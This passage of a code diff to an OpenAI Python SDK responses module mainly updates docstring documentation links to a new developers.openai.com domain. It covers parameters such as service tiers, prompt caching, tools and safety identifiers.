+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -827,7 +832,7 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -839,8 +844,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -853,17 +858,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -888,7 +894,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1055,27 +1061,27 @@ def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -1107,11 +1113,11 @@ def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -1121,7 +1127,7 @@ def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -1138,8 +1144,8 @@ def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -1149,15 +1155,15 @@ def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -1166,7 +1172,7 @@ def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -1174,7 +1180,7 @@ def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -1188,14 +1194,14 @@ def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -1204,13 +1210,15 @@ def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -1225,7 +1233,7 @@ def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -1237,8 +1245,8 @@ def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -1251,17 +1259,18 @@ def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -1286,7 +1295,7 @@ def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -1543,7 +1552,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
extra_headers: Send extra headers
@@ -1581,7 +1590,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -1631,7 +1640,7 @@ def retrieve(
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
include: Additional fields to include in the response. See the `include` parameter for
@@ -1760,7 +1769,7 @@ def cancel(
Only responses created with the
`background` parameter set to `true` can be cancelled.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
Args:
extra_headers: Send extra headers
@@ -1921,16 +1930,16 @@ def compact(
Returns a compacted response object.
Learn when and how to compact long-running conversations in the
- [conversation state guide](https://platform.openai.com/docs/guides/conversation-state#managing-the-context-window).
+ [conversation state guide](https://developers.openai.com/api/docs/guides/conversation-state#managing-the-context-window).
For ZDR-compatible compaction details, see
- [Compaction (advanced)](https://platform.openai.com/docs/guides/conversation-state#compaction-advanced).
+ [Compaction (advanced)](https://developers.openai.com/api/docs/guides/conversation-state#compaction-advanced).
Args:
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
input: Text, image, or file inputs to the model, used to generate a response
@@ -1941,7 +1950,7 @@ def compact(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt_cache_key: A key to use when reading from or writing to the prompt cache.
@@ -1953,7 +1962,7 @@ def compact(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: How long to retain a prompt cache entry created by this request.
@@ -1963,17 +1972,17 @@ def compact(
Project settings. Unless otherwise configured, the Project will use 'default'. -
If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model. - If set to
- '[flex](https://platform.openai.com/docs/guides/flex-processing)', then the
- request will be processed with the Flex Processing service tier. - To opt-in to
- [Fast mode](/api/docs/guides/fast-mode) at the request level, include the
- `service_tier=fast` or `service_tier=priority` parameter for Responses or Chat
- Completions. For models with a dedicated Fast tier, either value resolves to
- `service_tier=fast`; for other models, either value resolves to
- `service_tier=priority`. - When not set, the default behavior is 'auto'. When
- the `service_tier` parameter is set, the response body will include the
- `service_tier` value based on the processing mode actually used to serve the
- request. This response value may be different from the value set in the
- parameter.
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier. - To opt-in
+ to [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. For models with a dedicated Fast
+ tier, either value resolves to `service_tier=fast`; for other models, either
+ value resolves to `service_tier=priority`. - When not set, the default behavior
+ is 'auto'. When the `service_tier` parameter is set, the response body will
+ include the `service_tier` value based on the processing mode actually used to
+ serve the request. This response value may be different from the value set in
+ the parameter.
extra_headers: Send extra headers
@@ -2223,20 +2232,20 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -2268,11 +2277,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -2282,7 +2291,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -2299,8 +2308,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -2310,15 +2319,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2327,7 +2336,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2335,7 +2344,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2349,14 +2358,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
- [reasoning models](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning models](https://developers.openai.com/api/docs/guides/reasoning).
safety_identifier: A stable identifier used to help detect users of your application that may be
violating OpenAI's usage policies. The IDs should be a string that uniquely
identifies each user, with a maximum length of 64 characters. We recommend
hashing their username or email address, in order to avoid sending us any
identifying information.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
service_tier: Specifies the processing type used for serving the request.
@@ -2365,13 +2374,15 @@ async def create(
will use 'default'.
- If set to 'default', then the request will be processed with the standard
pricing and performance for the selected model.
- - If set to '[flex](https://platform.openai.com/docs/guides/flex-processing)',
- then the request will be processed with the Flex Processing service tier.
- - To opt-in to [Fast mode](/api/docs/guides/fast-mode) at the request level,
- include the `service_tier=fast` or `service_tier=priority` parameter for
- Responses or Chat Completions. The response will show `service_tier=priority`
- regardless of if you specify `service_tier=fast` or `priority` in your
- request.
+ - If set to
+ '[flex](https://developers.openai.com/api/docs/guides/flex-processing)', then
+ the request will be processed with the Flex Processing service tier.
+ - To opt-in to
+ [Fast mode](https://developers.openai.com/api/docs/guides/fast-mode) at the
+ request level, include the `service_tier=fast` or `service_tier=priority`
+ parameter for Responses or Chat Completions. The response will show
+ `service_tier=priority` regardless of if you specify `service_tier=fast` or
+ `priority` in your request.
- If set to 'ultrafast', then the request will be processed with the
access-controlled Ultrafast Processing service tier. This tier is currently
available for `gpt-5.6-sol`; a response served through it will show
@@ -2386,13 +2397,13 @@ async def create(
store: Whether to store the generated model response for later retrieval via API.
Defaults to true when omitted. If set to true, response data will be stored for
at least 30 days, subject to the
- [data retention exceptions](/api/docs/guides/your-data#v1responses).
+ [data retention exceptions](https://developers.openai.com/api/docs/guides/your-data#v1responses).
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
stream_options: Options for streaming responses. Only set this when you set `stream: true`.
@@ -2405,8 +2416,8 @@ async def create(
text: Configuration options for a text response from the model. Can be plain text or
structured JSON data. Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Structured Outputs](https://platform.openai.com/docs/guides/structured-outputs)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Structured Outputs](https://developers.openai.com/api/docs/guides/structured-outputs)
tool_choice: How the model should select which tool (or tools) to use when generating a
response. See the `tools` parameter to see how to specify which tools the model
@@ -2419,17 +2430,18 @@ async def create(
- **Built-in tools**: Tools that are provided by OpenAI that extend the model's
capabilities, like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search).
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search)
+ or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search).
Learn more about
- [built-in tools](https://platform.openai.com/docs/guides/tools).
+ [built-in tools](https://developers.openai.com/api/docs/guides/tools).
- **MCP Tools**: Integrations with third-party systems via custom MCP servers or
predefined connectors such as Google Drive and SharePoint. Learn more about
- [MCP Tools](https://platform.openai.com/docs/guides/tools-connectors-mcp).
+ [MCP Tools](https://developers.openai.com/api/docs/guides/tools-connectors-mcp).
- **Function calls (custom tools)**: Functions that are defined by you, enabling
the model to call your own code with strongly typed arguments and outputs.
Learn more about
- [function calling](https://platform.openai.com/docs/guides/function-calling).
+ [function calling](https://developers.openai.com/api/docs/guides/function-calling).
You can also use custom tools to call your own code.
top_logprobs: An integer between 0 and 20 specifying the maximum number of most likely tokens
@@ -2454,7 +2466,7 @@ async def create(
`prompt_cache_key` instead to maintain caching optimizations. A stable
identifier for your end-users. Used to boost cache hit rates by better bucketing
similar requests and to help OpenAI detect and prevent abuse.
- [Learn more](https://platform.openai.com/docs/guides/safety-best-practices#safety-identifiers).
+ [Learn more](https://developers.openai.com/api/docs/guides/safety-best-practices#implement-safety-identifiers).
extra_headers: Send extra headers
@@ -2621,27 +2633,27 @@ async def create(
"""Creates a model response.
Provide
- [text](https://platform.openai.com/docs/guides/text) or
- [image](https://platform.openai.com/docs/guides/images) inputs to generate
- [text](https://platform.openai.com/docs/guides/text) or
- [JSON](https://platform.openai.com/docs/guides/structured-outputs) outputs. Have
- the model call your own
- [custom code](https://platform.openai.com/docs/guides/function-calling) or use
- built-in [tools](https://platform.openai.com/docs/guides/tools) like
- [web search](https://platform.openai.com/docs/guides/tools-web-search) or
- [file search](https://platform.openai.com/docs/guides/tools-file-search) to use
- your own data as input for the model's response.
+ [text](https://developers.openai.com/api/docs/guides/text) or
+ [image](https://developers.openai.com/api/docs/guides/images-vision) inputs to
+ generate [text](https://developers.openai.com/api/docs/guides/text) or
+ [JSON](https://developers.openai.com/api/docs/guides/structured-outputs)
+ outputs. Have the model call your own
+ [custom code](https://developers.openai.com/api/docs/guides/function-calling) or
+ use built-in [tools](https://developers.openai.com/api/docs/guides/tools) like
+ [web search](https://developers.openai.com/api/docs/guides/tools-web-search) or
+ [file search](https://developers.openai.com/api/docs/guides/tools-file-search)
+ to use your own data as input for the model's response.
Args:
stream: If set to true, the model response data will be streamed to the client as it is
generated using
[server-sent events](https://developer.mozilla.org/en-US/docs/Web/API/Server-sent_events/Using_server-sent_events#Event_stream_format).
See the
- [Streaming section below](https://platform.openai.com/docs/api-reference/responses-streaming)
+ [Streaming section below](https://developers.openai.com/api/reference/resources/responses/streaming-events)
for more information.
background: Whether to run the model response in the background.
- [Learn more](https://platform.openai.com/docs/guides/background).
+ [Learn more](https://developers.openai.com/api/docs/guides/background).
context_management: Context management configuration for this request.
@@ -2673,11 +2685,11 @@ async def create(
Learn more:
- - [Text inputs and outputs](https://platform.openai.com/docs/guides/text)
- - [Image inputs](https://platform.openai.com/docs/guides/images)
- - [File inputs](https://platform.openai.com/docs/guides/pdf-files)
- - [Conversation state](https://platform.openai.com/docs/guides/conversation-state)
- - [Function calling](https://platform.openai.com/docs/guides/function-calling)
+ - [Text inputs and outputs](https://developers.openai.com/api/docs/guides/text)
+ - [Image inputs](https://developers.openai.com/api/docs/guides/images-vision)
+ - [File inputs](https://developers.openai.com/api/docs/guides/file-inputs)
+ - [Conversation state](https://developers.openai.com/api/docs/guides/conversation-state)
+ - [Function calling](https://developers.openai.com/api/docs/guides/function-calling)
instructions: A system (or developer) message inserted into the model's context.
@@ -2687,7 +2699,7 @@ async def create(
max_output_tokens: An upper bound for the number of tokens that can be generated for a response,
including visible output tokens and
- [reasoning tokens](https://platform.openai.com/docs/guides/reasoning).
+ [reasoning tokens](https://developers.openai.com/api/docs/guides/reasoning).
max_tool_calls: The maximum number of total calls to built-in tools that can be processed in a
response. This maximum number applies across all built-in tool calls, not per
@@ -2704,8 +2716,8 @@ async def create(
model: Model ID used to generate the response, like `gpt-6-astra`. OpenAI offers a wide
range of models with different capabilities, performance characteristics, and
price points. Refer to the
- [model guide](https://platform.openai.com/docs/models) to browse and compare
- available models.
+ [model guide](https://developers.openai.com/api/docs/models) to browse and
+ compare available models.
moderation: Configuration for running moderation on the input and output of this response.
@@ -2715,15 +2727,15 @@ async def create(
previous_response_id: The unique ID of the previous response to the model. Use this to create
multi-turn conversations. Learn more about
- [conversation state](https://platform.openai.com/docs/guides/conversation-state).
+ [conversation state](https://developers.openai.com/api/docs/guides/conversation-state).
Cannot be used in conjunction with `conversation`.
prompt: Reference to a prompt template and its variables.
- [Learn more](https://platform.openai.com/docs/guides/text?api-mode=responses#reusable-prompts).
+ [Learn more](https://developers.openai.com/api/docs/guides/text?api-mode=responses#version-prompts-in-code).
prompt_cache_key: Used by OpenAI to cache responses for similar requests to optimize your cache
hit rates. Replaces the `user` field.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching).
prompt_cache_options: Options for prompt caching. Supported for `gpt-5.6` and later models. By
default, OpenAI automatically chooses one implicit cache breakpoint. You can add
@@ -2732,7 +2744,7 @@ async def create(
up to the latest 80 breakpoints in the conversation, without a content-block
lookback limit. Set `mode` to `explicit` to disable the implicit breakpoint. The
`ttl` defaults to `30m`, which is currently the only supported value. See the
- [prompt caching guide](https://platform.openai.com/docs/guides/prompt-caching)
+ [prompt caching guide](https://developers.openai.com/api/docs/guides/prompt-caching)
for current details.
prompt_cache_retention: Deprecated. Use `prompt_cache_options.ttl` instead.
@@ -2740,7 +2752,7 @@ async def create(
The retention policy for the prompt cache. Set to `24h` to enable extended
prompt caching, which keeps cached prefixes active for longer, up to a maximum
of 24 hours.
- [Learn more](https://platform.openai.com/docs/guides/prompt-caching#prompt-cache-retention).
+ [Learn more](https://developers.openai.com/api/docs/guides/prompt-caching#prompt-cache-retention).
This field expresses a maximum retention policy, while
`prompt_cache_options.ttl` expresses a minimum cache lifetime. The two fields
are independent and do not interact. For `gpt-5.5`, `gpt-5.5-pro`, and future
@@ -2754,14 +2766,14 @@ async def create(
`prompt_cache_retention` is not specified.
reasoning: Configuration options for
